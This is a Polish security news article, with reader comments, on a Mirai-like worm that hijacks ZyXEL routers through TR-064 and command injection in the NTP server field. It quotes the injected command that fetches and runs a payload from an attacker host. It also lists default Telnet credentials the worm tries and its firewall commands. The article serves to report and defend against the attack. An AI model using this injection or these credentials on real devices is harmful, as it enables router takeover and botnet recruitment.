Botnety zbudowane w oparciu o Internet Rzeczy stają się coraz bardziej popularne i wykorzystują każdą nadarzającą się okazję do przejęcia kolejnych pudełek. Jeden z nich zaatakował wczoraj nowym błędem router naszego Czytelnika.
Otrzymaliśmy wczoraj wiadomość od jednego z naszych Czytelników, którego router padł ofiarą ataku. Czytelnik, zaniepokojony dziwnymi restartami urządzenia dostępowego, po szybkiej analizie jego konfiguracji zauważył że w polu adresu serwera NTP tego routera znalazł się dziwny wpis:
cd /tmp;wget http://l.ocalhost.host/2;chmod 777 2;./2
Wpis oczywiście bardzo mocno sugeruje, że zawartość pola adresu serwera NTP umożliwia wykonanie poleceń powłoki. Zacznijmy jednak od początku, ponieważ do skutecznego ataku potrzebne były dwa błędy.
Protokół TR-064
Modemy, które otrzymujemy od naszych dostawców usług internetowych, muszą być przez nich jakoś zarządzane. W tym celu powstał zestaw protokołów, które umożliwiają kontrolę nad modemem czy też routerem. Protokoły i porty im odpowiadające powinny być dostępne tylko ze specjalnie przygotowanej do tego celu sieci służącej do zarządzania. Dzięki temu nikt poza naszym ISP nie jest w stanie wydawać poleceń naszemu modemowi, a dostawca internetu wciąż utrzymuje nad nimi pewną kontrolę konieczną do rozwiązania pojawiających się problemów, czy też w celu łatwej zmiany parametrów połączenia w przypadku aktualizacji infrastruktury. Jednym z takich protokołów jest TR-064, zwany też LAN-Side DSL CPE Configuration, czyli konfiguracja urządzenia klienckiego DSL po stronie sieci wewnętrznej. Dla tych z was, którzy nie muszą na co dzień posługiwać się setką skrótów stosowanych przez dostawców internetowych tłumaczymy, że CPE (customer-premises equipment) to po prostu urządzenie, które znajduje się u klienta, a DSL (digital subscriber line) to po prostu cyberlinia abonencka. Specyfikacja TR-064 jest dostępna do pobrania i znajduje się pod tym linkiem.
Czasami zdarza się, że dostawca internetu bądź producent modemu zapomni ograniczyć dostęp do serwera TR-064. Oznacza to, że każdy internauta może wysłać polecenia konfiguracyjne do naszego urządzenia i zmienić nam ustawienia, chociażby serwera DNS lub NTP. Oczywiście może to spowodować dosyć znaczne problemy – zmiana serwera DNS może spowodować, że wchodząc na stronę bankowości elektronicznej tak naprawdę znajdziemy się na stronie kontrolowanej przez przestępców. Możliwość zmiany serwera NTP nie wydaje się specjalnie poważna, chyba, że ktoś chciałby, żebyśmy nasz modem się spóźnił na ważne spotkanie. Inaczej jednak jest w przypadku sprzętu firmy ZyXEL. Niektóre modele, jak na przykład dostarczany przez irlandzkiego ISP D100, oprócz nieograniczonego dostępu do serwera TR-064 pozwalają także na wykonanie komendy na modemie przez podanie jej jako adresu serwera NTP. Świadczy to nie tylko o błędzie programistycznym polegającym na braku odpowiedniego sprawdzenia adresu serwera NTP. Adres ten, nawet jeśli się zakłada że jest podawany przez dostawcę usług internetowych, któremu z założenia ufamy, powinien przejść bardzo podstawowe testy stwierdzające chociażby czy nie ma w nim spacji. Tak się jednak nie dzieje w tym przypadku. W konsekwencji, cokolwiek zostanie wprowadzone do pola adresu serwera NTP zostanie również wykonane w linii poleceń. Potwierdziliśmy, że nasz czytelnik korzystał z urządzenia firmy ZyXEL i miał podatną wersję firmware.
Niestandardowe wykorzystanie protokołu TR-064 do wykonania komendy na sprzęcie ZyXEL zostało opisane na początku listopada i niedługo później pojawił się odpowiedni moduł do Metasploita, który pozwalał nawet niezbyt biegłym użytkownikom internetu wykorzystać tę podatność. Jeden z atakujących zamienił go w zwykłego sieciowego robaka.
Jak wygląda atak?
Protokół TR-064 jest oparty o HTTP oraz SOAP (brrr!) i używa, w przypadku analizowanych urządzeń ZyXEL, portu TCP/7547. Oznacza to, że wykorzystanie luki sprowadza się do wysłania odpowiedniego żądania POST na ten port. Atakujący przygotował trzy różne pliki binarne (nazwane przemyślnie 1, 2 oraz 3), które są pobrane i uruchamiane z wykorzystaniem tej podatności. Jak widać są one przygotowane pod trzy różne architektury:
1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped 2: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped 3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Cyberlaboratorium Zaufanej Trzeciej Strony podjęło się analizy wersji na systemy ARM. To złośliwe oprogramowanie jest robakiem sieciowym, który po infekcji zaczyna się rozprzestrzeniać na inne urządzenia, znowu wykorzystując podatność w modemie oraz protokół TR-064. Jest też zaimplementowana inna metoda infekcji. Polega ona na logowaniu się za pomocą protokołu Telnet na urządzenia z wykorzystaniem trzech różnych par nazwy użytkownika oraz hasła:
root xc3511 root vizxv root admin
Wszystkie te pary są zaciemnione (bądź też „zaszyfrowane”) w kodzie robaka za pomocą dokładnie tego samego algorytmu, który znajduje się w popularnym botnecie Mirai. Co więcej, serwer zarządzający botnetem (C&C) znajduje się pod adresem timeserver.host, który to adres znajduje się na liście Mirai tracker. Dodatkowo, robak skanuje adresy IP w tej samej pseudolosowej kolejności w jakiej robi to Mirai. W obu rodzajach złośliwego oprogramowania odpowiada za to ten sam kod. Kod źródłowy botnetu Mirai jest od pewnego czasu dostępny na serwisie GitHub, można zatem domniemać, że autor sobie „pożyczył” jego część i połączył z opublikowaną podatnością, aby uzyskać podobny do Mirai efekt.
Analizowane złośliwe oprogramowanie jest bardzo kulturalne, ponieważ zamyka po sobie drzwi. Oznacza to, że wykonuje następujące komendy, które, przynajmniej do czasu restartu bądź przywrócenia urządzenia do ustawień fabrycznych, powinny załatać wspomnianą podatność oraz „zabezpieczyć” protokół Telnet:
busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP busybox killall -9 telnetd
Pierwsze polecenie po prostu odcina dostęp do portu TCP/7547 dla wszystkich (włączając dostawcę usług internetowych), a drugie zakańcza wszystkie uruchomione procesy serwera protokołu telnet. Mimo, że to „załatanie” jest dosyć agresywne, z pewnością jest skuteczne i uniemożliwi konkurentom przejęcie kontroli nad urządzeniem. Oczywiście, uniemożliwia to także zdalne usunięcie infekcji przez dostawcę usług.
Skala problemu w Polsce
Shodan twierdzi, że urządzeń z otwartym portem 7547 i usługą RomPager widział w Polsce ponad 65 tysięcy. Wartość ta może być znacznie zawyżona (dynamiczna adresacja, stare wyniki itp.), jednak nadal jest dosyć spora. Nie oznacza to, że wszystkie te urządzenia są podatne na powyżej opisany atak. Aby skutecznie zaatakować routery, wymagane jest występowania dwóch błędów naraz – dostępności protokołu TR-064 oraz drugiego błędu, który umożliwi wykonanie kodu. Warto pamiętać, że nie za wszystkie przypadki podatności odpowiadają dostawcy internetu – wielu użytkowników kupuje swoje własne routery i zapomina o aktualizowaniu ich oprogramowania.
Warto zauważyć, że zmiana opublikowanej podatności w dosyć skutecznego robaka sieciowego zajęła cyberprzestępcom tylko trochę ponad dwa tygodnie. Jest to dosyć szybkie i niepokojące zachowanie. Aby ustrzec się przed podobnymi atakami zalecamy aktualizację oprogramowania modemu, ponieważ istnieje dużo nowsza wersja, którą można zainstalować, jak i sprawdzenie czy port TCP/7547 (bądź inne dziwne porty) jest dostępny z zewnątrz. W przypadku gdy modem został nam dostarczony przed dostawcę internetu zalecamy kontakt z infolinią tak uporczywy, aż w końcu modem zostanie zaktualizowany bądź wymieniony.
Dla zainteresowanych przeprowadzeniem własnej analizy podajemy skróty sha256 próbek:
5fc86972492cd901ea89bd86fbdebd307c3f1d2afa50db955a9594da000d0b38 1 8537f9de4ea6662c22b631c90d647b79e448026327e572b90ec4d1a9f2aa2a50 2 ace9c1fe40f308a2871114da0d0d2f46965add1bda9c4bad62de5320b77e8a73 3
Komentarze
Dzięki! Więcej!
Dacie więcej materiału to będzie więcej analiz :)
Problem masowy w niemczech. prawie 1mln routerów ma problemy
http://www.bleepingcomputer.com/news/security/900-000-routers-knocked-offline-in-germany-amid-rumors-of-cyber-attack/
A jak ma się sprawa z ogromną ilością routerów livebox? Stare wersje miały odblokowany dostęp do telnetu o czym nie było mowy w dokumentacji.
Przeczytałeś artykuł? Zrób to jeszcze raz i nie zadawaj głupih pytań.
Jak jednak nie znajdziesz po drugim razie to hint dla Ciebie „Jest też zaimplementowana inna metoda infekcji. Polega ona na logowaniu się za pomocą protokołu Telnet na urządzenia z wykorzystaniem trzech różnych par nazwy użytkownika oraz hasła:”
widzę że polubiliście cyberowanie :D
Czy w takim układzie jak mam funboxa to mam się czego obawiać?
a jak się przed tym obronić?
Zabronić ruterów!
Czy atak może być skuteczny również na routery Asusa? Miałem przypadek, że od około tygodnia znajomemu co najmniej dwa razy na dobę router sam się restartował, a sam sprzęt działał bez zarzutów i zmian konfiguracji od kilku lat. Po wgraniu Tomato (dotychczas miał oficjalny soft, zaktualizowany do najnowszej wersji, ale nie wersja beta) wszystko się uspokoiło, a teraz ta informacja o restartach dała mi trochę do myślenia – tak dokładnie konfiguracji nie przeglądałem, a logi po każdym restarcie były czyszczone z automatu…
nie może ponieważ Chińczycy nie atakują swoich to patrioci !
Wiem bo sam jestem chińczykiem
Zmień zasilacz, restarty ustaną.
Wymień też kondensatory w sekcji zasilania na płycie routera – pewnie są już wyschnięte.
FAK. przez caly lykend moj modem od upc wariowal. Co prawda to compal a nie zyxel, ale dokładnie tak jak pisał Wasz czytelnik, restartował się na okrągło. Qrczaki a ja w banku siedzialem wczoraj wieczorem…
W opisie ataku brakuje mi jednak kilku informacji i nie do końca rozumiem jak on przebiega. Przecież otwarty port na urządzeniu 7547 (dla innych CPE inne porty) służy wyłącznie do odebrania polecenia ConnectionRequest. Przy założeniu, że jest tutaj luka i:
– connectionRequestUsername i connectionRequestPassword są banalne, oraz
– connectionRequestURL nie zawiera złożonego tokenu tylko łyka wszystko
to wykonując połączenie można co najwyżej zachęcić urządzenie do kontaktu z ACSem operatora w celu pobrania konfiguracji. Wszelkie zmiany (SetParameter) przesyłane są w odpowiedzi HTTP w ramach sesji CWMP. A więc to urządzenie (zachęcone ConnectionRequestem) zgłasza się do dobrze znanego serwera (tam musi uwierzytelnić) i dopiero można coś napsocić podszywając się pod serwer.
Powyższy opis w artykule nie świadczy o tym, by tak atak wyglądał. W jaki więc sposób dane są wstrzykiwane do urządzenia?
Mówisz o TR-069 który działa tak jak opisałeś. na tym samym porcie jednak słucha także TR-064 który udostępnia kilka trików, w tym ustawienie serwera NTP bez uwierzytelnienia.
Faktycznie nie mam praktycznego doświadczenia z tr-064, chętnie doczytam. Po pobieżnej lekturze TR miałem wrażenie, że co do zasady schemat komunikacji jest zgodny. Dzięki za naprowadzenie.
Z dostawcami netu to się można boksować latami. Zwłaszcza jak nie ma konkurencji kablowej w okolicy. Pomijając, że połączenie odbierają po godzinie (albo w ogóle), to zmiana ustawień czy update softu jest często niewykonalna (bo nie umieją obsłużyć własnych urządzeń).
Ten atak dzieli nasze społeczeństwo!
Na tych którzy mają podatne routery i na tych którzy są bezpieczni :D
A na poważnie: OpenWRT lub zawsze oddzielnie: modem + i za nim dopiero PPoE/A itp. firewall (np. pfsense).
i niby po co embeded routerkom wget, chyba tylko żeby się dłużej włączały i wygodniej było się włamywać
@dominika – rozwiń myśl bo w skojarzeniu z postem https://zaufanatrzeciastrona.pl/post/bot-podobny-do-mirai-atakuje-rutery-nowym-bledem-takze-polsce/#comment-48694 zachodzi (być może nieumyślnie) pewna niebanalna sugestia…no właśnie – zależy co miałaś(eś) na myśli ;)
@dominika – rozwiń myśl, bo przyznam szczerze w zestawieniu z ostatnim, poprzedzającym postem @dzielnik, Twoje stwierdzenie zabrzmiało co najmniej dwuznacznie.
ale skroty juz nie sa podpisane waszym kluczem?
wtf
A po co?
A może ktoś napisać jakie modele Zyxela są podatne?
Właśnie co dostałem od Orange Zyxel VMG8324-B10A do DSL’a – nie udostępnia on dostępu admina i widze w dokumentacji że posiada TR-064 ale bez admina go nie wyłączę. Fajnie, przygotowali mi problemik na następny tydzień?
A co do botnetów to testowali je już na początku roku, u jednego z moich klientów systematycznie restartował się router Siemensa Speedstream 4100 na starym DSLu. Niby był jako bridge ale coś mu dolegało. Wymieniliśmy na Cellpipe. Parę miesięcy później wpadł mi w ręce drugi taki sam, i miałem dziwne wpisy w logach z azjatyckich IP i zdaje się nawet że z WAN był dostępny Telnet(Już nie pamiętam bo szybko wyleciał) Mam wrażenie że restarty tego pierwszego nie były związane ze starzejącą się elektroniką tylko zauważyłem że nieprawidłowe komendy resetowały router.
Próbowałem pomacać nmapem router od zewnątrz i jest głuchy. Być może Orange zablokowało dostęp tylko do puli swoich hostów.
Oby